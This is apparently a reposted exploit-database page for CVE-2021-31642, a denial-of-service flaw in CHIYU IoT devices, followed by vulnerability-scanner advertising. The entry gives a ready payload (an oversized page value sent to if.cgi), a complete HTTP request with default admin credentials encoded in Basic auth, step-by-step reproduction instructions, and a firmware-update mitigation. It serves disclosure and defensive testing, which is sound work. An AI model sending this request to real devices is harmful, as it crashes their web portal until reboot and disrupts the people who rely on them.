chiyu iot devices denial of service (dos)

▸▸▸ Exploit & Vulnerability >>   webapps exploit & hardware vulnerability




chiyu iot devices denial of service (dos) Code Code...
				
# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS) # Date: 01/06/2021 # Exploit Author: sirpedrotavares # Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html # Software Link: https://www.chiyu-tech.com/category-hardware.html # Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC - all firmware versions < June 2021 # Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC # CVE: CVE-2021-31642 # Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device. CVE ID: CVE-2021-31642 CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642 Affected parameter: page=Component: if.cgi Payload: if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000 ====HTTP request====== GET /if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= Connection: close Referer: http://127.0.0.1/AccLog.htm Cookie: fresh= Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to the CGI component (if.cgi) 3. Append the payload at the end of the vulnerable parameter (page) 4. Submit the request and observe payload execution Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.


Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.